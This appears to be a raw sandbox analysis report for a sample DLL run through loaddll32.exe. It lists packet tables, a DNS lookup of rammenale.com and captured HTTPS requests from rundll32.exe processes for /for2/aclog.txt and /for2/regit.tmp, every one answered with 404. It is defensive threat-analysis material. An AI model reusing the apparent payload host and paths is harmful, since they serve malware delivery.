Aug 29, 2024 06:53:03.402896881 CEST	49711	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:03.402935028 CEST	443	49711	131.153.206.231	192.168.2.5
Aug 29, 2024 06:53:03.403053999 CEST	49711	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:03.415760994 CEST	49711	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:03.415776968 CEST	443	49711	131.153.206.231	192.168.2.5
Aug 29, 2024 06:53:03.435412884 CEST	49712	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:03.435440063 CEST	443	49712	131.153.206.231	192.168.2.5
Aug 29, 2024 06:53:03.435590982 CEST	49712	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:03.449331999 CEST	49712	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:03.449346066 CEST	443	49712	131.153.206.231	192.168.2.5
Aug 29, 2024 06:53:04.336998940 CEST	443	49711	131.153.206.231	192.168.2.5
Aug 29, 2024 06:53:04.337080956 CEST	49711	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:04.340647936 CEST	49711	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:04.340662003 CEST	443	49711	131.153.206.231	192.168.2.5
Aug 29, 2024 06:53:04.340898991 CEST	443	49711	131.153.206.231	192.168.2.5
Aug 29, 2024 06:53:04.340956926 CEST	49711	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:04.342361927 CEST	49711	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:04.366029024 CEST	443	49712	131.153.206.231	192.168.2.5
Aug 29, 2024 06:53:04.366090059 CEST	49712	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:04.369883060 CEST	49712	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:04.369901896 CEST	443	49712	131.153.206.231	192.168.2.5
Aug 29, 2024 06:53:04.370142937 CEST	443	49712	131.153.206.231	192.168.2.5
Aug 29, 2024 06:53:04.370202065 CEST	49712	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:04.371881962 CEST	49712	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:04.388499975 CEST	443	49711	131.153.206.231	192.168.2.5
Aug 29, 2024 06:53:04.416510105 CEST	443	49712	131.153.206.231	192.168.2.5
Aug 29, 2024 06:53:04.933275938 CEST	443	49711	131.153.206.231	192.168.2.5
Aug 29, 2024 06:53:04.933334112 CEST	49711	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:04.933346987 CEST	443	49711	131.153.206.231	192.168.2.5
Aug 29, 2024 06:53:04.933392048 CEST	49711	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:04.933404922 CEST	443	49711	131.153.206.231	192.168.2.5
Aug 29, 2024 06:53:04.933450937 CEST	49711	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:04.933456898 CEST	443	49711	131.153.206.231	192.168.2.5
Aug 29, 2024 06:53:04.933471918 CEST	443	49711	131.153.206.231	192.168.2.5
Aug 29, 2024 06:53:04.933495998 CEST	49711	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:04.933520079 CEST	49711	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:04.933886051 CEST	49711	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:04.933897018 CEST	443	49711	131.153.206.231	192.168.2.5
Aug 29, 2024 06:53:04.933906078 CEST	49711	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:04.933957100 CEST	49711	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:04.959599972 CEST	443	49712	131.153.206.231	192.168.2.5
Aug 29, 2024 06:53:04.959691048 CEST	49712	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:04.959702969 CEST	443	49712	131.153.206.231	192.168.2.5
Aug 29, 2024 06:53:04.959777117 CEST	49712	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:04.959778070 CEST	443	49712	131.153.206.231	192.168.2.5
Aug 29, 2024 06:53:04.959858894 CEST	49712	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:04.960093021 CEST	49712	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:04.960093021 CEST	49712	443	192.168.2.5	131.153.206.231
Aug 29, 2024 06:53:04.960103989 CEST	443	49712	131.153.206.231	192.168.2.5
Aug 29, 2024 06:53:04.960231066 CEST	49712	443	192.168.2.5	131.153.206.231

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 29, 2024 06:53:00.995357037 CEST	49834	53	192.168.2.5	1.1.1.1
Aug 29, 2024 06:53:01.276679039 CEST	53	49834	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Aug 29, 2024 06:53:00.995357037 CEST	192.168.2.5	1.1.1.1	0x689e	Standard query (0)	rammenale.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Aug 29, 2024 06:53:01.276679039 CEST	1.1.1.1	192.168.2.5	0x689e	No error (0)	rammenale.com		131.153.206.231	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

rammenale.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49706	131.153.206.231	443	1992	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 04:53:02 UTC	287	OUT	GET /for2/aclog.txt HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: rammenale.com Connection: Keep-Alive
2024-08-29 04:53:02 UTC	416	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1251 date: Thu, 29 Aug 2024 04:53:02 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-08-29 04:53:02 UTC	952	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</sty
2024-08-29 04:53:02 UTC	299	IN	Data Raw: 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 31 35 29 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 31 70 78 20 30 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 33 29 20 69 6e 73 65 74 3b 22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 70 3e 50 6c 65 61 73 65 20 62 65 20 61 64 76 69 73 65 64 20 74 68 61 74 20 4c 69 74 65 53 70 65 65 64 20 54 65 63 68 6e 6f 6c 6f 67 69 65 73 20 49 6e 63 2e 20 69 73 20 6e 6f 74 20 61 20 77 65 62 20 68 6f 73 74 69 6e 67 20 63 6f 6d 70 61 6e 79 20 61 6e 64 2c 20 61 73 20 73 75 63 68 2c 20 68 61 73 20 6e 6f 20 63 6f 6e 74 72 6f 6c 20 6f 76 65 72 20 63 6f 6e 74 65 6e 74 20 Data Ascii: -top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(255, 255, 255, 0.3) inset;"><br>Proudly powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49708	131.153.206.231	443	2148	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 04:53:02 UTC	287	OUT	GET /for2/regit.tmp HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: rammenale.com Connection: Keep-Alive
2024-08-29 04:53:02 UTC	416	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1251 date: Thu, 29 Aug 2024 04:53:02 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-08-29 04:53:02 UTC	952	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</sty
2024-08-29 04:53:02 UTC	299	IN	Data Raw: 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 31 35 29 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 31 70 78 20 30 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 33 29 20 69 6e 73 65 74 3b 22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 70 3e 50 6c 65 61 73 65 20 62 65 20 61 64 76 69 73 65 64 20 74 68 61 74 20 4c 69 74 65 53 70 65 65 64 20 54 65 63 68 6e 6f 6c 6f 67 69 65 73 20 49 6e 63 2e 20 69 73 20 6e 6f 74 20 61 20 77 65 62 20 68 6f 73 74 69 6e 67 20 63 6f 6d 70 61 6e 79 20 61 6e 64 2c 20 61 73 20 73 75 63 68 2c 20 68 61 73 20 6e 6f 20 63 6f 6e 74 72 6f 6c 20 6f 76 65 72 20 63 6f 6e 74 65 6e 74 20 Data Ascii: -top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(255, 255, 255, 0.3) inset;"><br>Proudly powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49707	131.153.206.231	443	1732	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 04:53:02 UTC	287	OUT	GET /for2/regit.tmp HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: rammenale.com Connection: Keep-Alive
2024-08-29 04:53:02 UTC	416	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1251 date: Thu, 29 Aug 2024 04:53:02 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-08-29 04:53:02 UTC	952	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</sty
2024-08-29 04:53:02 UTC	299	IN	Data Raw: 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 31 35 29 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 31 70 78 20 30 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 33 29 20 69 6e 73 65 74 3b 22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 70 3e 50 6c 65 61 73 65 20 62 65 20 61 64 76 69 73 65 64 20 74 68 61 74 20 4c 69 74 65 53 70 65 65 64 20 54 65 63 68 6e 6f 6c 6f 67 69 65 73 20 49 6e 63 2e 20 69 73 20 6e 6f 74 20 61 20 77 65 62 20 68 6f 73 74 69 6e 67 20 63 6f 6d 70 61 6e 79 20 61 6e 64 2c 20 61 73 20 73 75 63 68 2c 20 68 61 73 20 6e 6f 20 63 6f 6e 74 72 6f 6c 20 6f 76 65 72 20 63 6f 6e 74 65 6e 74 20 Data Ascii: -top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(255, 255, 255, 0.3) inset;"><br>Proudly powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49705	131.153.206.231	443	5260	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 04:53:02 UTC	287	OUT	GET /for2/aclog.txt HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: rammenale.com Connection: Keep-Alive
2024-08-29 04:53:02 UTC	416	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1251 date: Thu, 29 Aug 2024 04:53:02 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-08-29 04:53:02 UTC	952	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</sty
2024-08-29 04:53:02 UTC	299	IN	Data Raw: 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 31 35 29 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 31 70 78 20 30 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 33 29 20 69 6e 73 65 74 3b 22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 70 3e 50 6c 65 61 73 65 20 62 65 20 61 64 76 69 73 65 64 20 74 68 61 74 20 4c 69 74 65 53 70 65 65 64 20 54 65 63 68 6e 6f 6c 6f 67 69 65 73 20 49 6e 63 2e 20 69 73 20 6e 6f 74 20 61 20 77 65 62 20 68 6f 73 74 69 6e 67 20 63 6f 6d 70 61 6e 79 20 61 6e 64 2c 20 61 73 20 73 75 63 68 2c 20 68 61 73 20 6e 6f 20 63 6f 6e 74 72 6f 6c 20 6f 76 65 72 20 63 6f 6e 74 65 6e 74 20 Data Ascii: -top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(255, 255, 255, 0.3) inset;"><br>Proudly powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49711	131.153.206.231	443	5428	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 04:53:04 UTC	287	OUT	GET /for2/regit.tmp HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: rammenale.com Connection: Keep-Alive
2024-08-29 04:53:04 UTC	416	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1251 date: Thu, 29 Aug 2024 04:53:04 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-08-29 04:53:04 UTC	952	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</sty
2024-08-29 04:53:04 UTC	299	IN	Data Raw: 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 31 35 29 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 31 70 78 20 30 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 33 29 20 69 6e 73 65 74 3b 22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 70 3e 50 6c 65 61 73 65 20 62 65 20 61 64 76 69 73 65 64 20 74 68 61 74 20 4c 69 74 65 53 70 65 65 64 20 54 65 63 68 6e 6f 6c 6f 67 69 65 73 20 49 6e 63 2e 20 69 73 20 6e 6f 74 20 61 20 77 65 62 20 68 6f 73 74 69 6e 67 20 63 6f 6d 70 61 6e 79 20 61 6e 64 2c 20 61 73 20 73 75 63 68 2c 20 68 61 73 20 6e 6f 20 63 6f 6e 74 72 6f 6c 20 6f 76 65 72 20 63 6f 6e 74 65 6e 74 20 Data Ascii: -top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(255, 255, 255, 0.3) inset;"><br>Proudly powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49712	131.153.206.231	443	5440	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 04:53:04 UTC	287	OUT	GET /for2/aclog.txt HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: rammenale.com Connection: Keep-Alive
2024-08-29 04:53:04 UTC	416	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1251 date: Thu, 29 Aug 2024 04:53:04 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-08-29 04:53:04 UTC	952	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</sty
2024-08-29 04:53:04 UTC	299	IN	Data Raw: 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 31 35 29 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 31 70 78 20 30 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 33 29 20 69 6e 73 65 74 3b 22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 70 3e 50 6c 65 61 73 65 20 62 65 20 61 64 76 69 73 65 64 20 74 68 61 74 20 4c 69 74 65 53 70 65 65 64 20 54 65 63 68 6e 6f 6c 6f 67 69 65 73 20 49 6e 63 2e 20 69 73 20 6e 6f 74 20 61 20 77 65 62 20 68 6f 73 74 69 6e 67 20 63 6f 6d 70 61 6e 79 20 61 6e 64 2c 20 61 73 20 73 75 63 68 2c 20 68 61 73 20 6e 6f 20 63 6f 6e 74 72 6f 6c 20 6f 76 65 72 20 63 6f 6e 74 65 6e 74 20 Data Ascii: -top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(255, 255, 255, 0.3) inset;"><br>Proudly powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content

Target ID:	0
Start time:	00:52:58
Start date:	29/08/2024
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe "C:\Users\user\Desktop\QEydjQdRxs.dll"
Imagebase:	0x810000
File size:	126'464 bytes
MD5 hash:	51E6071F9CBA48E79F10C84515AAE618
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	00:52:58
Start date:	29/08/2024
Path:	C:\Windows\System32\conhost.exe
